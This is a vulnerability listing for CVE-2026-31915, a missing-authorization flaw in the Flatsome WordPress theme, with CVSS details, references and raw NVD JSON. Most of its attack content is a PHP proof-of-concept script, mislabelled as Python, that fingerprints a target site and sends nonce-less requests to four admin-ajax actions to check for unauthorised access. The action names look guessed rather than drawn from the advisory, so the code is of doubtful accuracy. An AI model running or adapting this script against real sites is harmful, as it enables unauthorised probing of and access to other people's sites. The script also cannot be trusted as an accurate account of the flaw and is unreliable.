CVE-2026-31915

Description

Missing Authorization vulnerability in UX-themes Flatsome flatsome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flatsome: from n/a through <= 3.19.6.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Flatsome Theme <= 3.19.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2026-31915 PoC - Flatsome Theme Broken Access Control
 * Target: WordPress sites running Flatsome theme <= 3.19.6
 * Vulnerability: Missing Authorization in Flatsome endpoints
 * Usage: Modify TARGET_URL and run with: php cve-2026-31915.php
 */

$target_url = 'http://target-site.com';
$wp_path = '/';

// Check if target is running Flatsome
function check_flatsome($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if (preg_match('/flatsome[-.](\d+\.\d+\.\d+)/i', $response, $matches)) {
        return ['vulnerable' => true, 'version' => $matches[1]];
    }
    return ['vulnerable' => false, 'version' => null];
}

// Exploit: Access unprotected Flatsome AJAX endpoint
function exploit_ajax($base_url, $action) {
    $url = $base_url . '/wp-admin/admin-ajax.php';
    $data = [
        'action' => $action,
        'nonce' => '' // No nonce required due to missing authorization check
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query(['action' => $action]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['http_code' => $http_code, 'response' => $response];
}

// Main execution
echo "[*] CVE-2026-31915 Flatsome Authorization Bypass PoC\n";
echo "[*] Target: {$target_url}\n\n";

$check = check_flatsome($target_url);
if ($check['vulnerable']) {
    echo "[+] Flatsome version {$check['version']} detected\n";
    echo "[*] Testing vulnerable endpoints...\n";
    
    $vulnerable_actions = [
        'flatsome_ux_product_inquiry',
        'flatsome_quickview',
        'flatsome_wishlist',
        'flatsome_compare'
    ];
    
    foreach ($vulnerable_actions as $action) {
        $result = exploit_ajax($target_url, $action);
        if ($result['http_code'] == 200 && !empty($result['response'])) {
            echo "[!] VULNERABLE: Endpoint '{$action}' accessible without authorization\n";
            echo "    Response: " . substr($result['response'], 0, 200) . "...\n";
        }
    }
} else {
    echo "[-] Flatsome theme not detected or target is not vulnerable\n";
}

echo "\n[*] Scan complete. Upgrade Flatsome to latest version to mitigate.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31915
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31915
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31915/
[4] VulDB https://vuldb.com/cve/CVE-2026-31915
[5] https://patchstack.com/database/Wordpress/Theme/flatsome/vulnerability/wordpress-flatsome-theme-3-19-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31915", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:38.410", "lastModified": "2026-04-29T10:16:56.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in UX-themes Flatsome flatsome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flatsome: from n/a through <= 3.19.6."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en UX-themes Flatsome flatsome permite Explotar Niveles de Seguridad de Control de Acceso Configurados Incorrectamente. Este problema afecta a Flatsome: desde n/a hasta <= 3.19.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/flatsome/vulnerability/wordpress-flatsome-theme-3-19-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}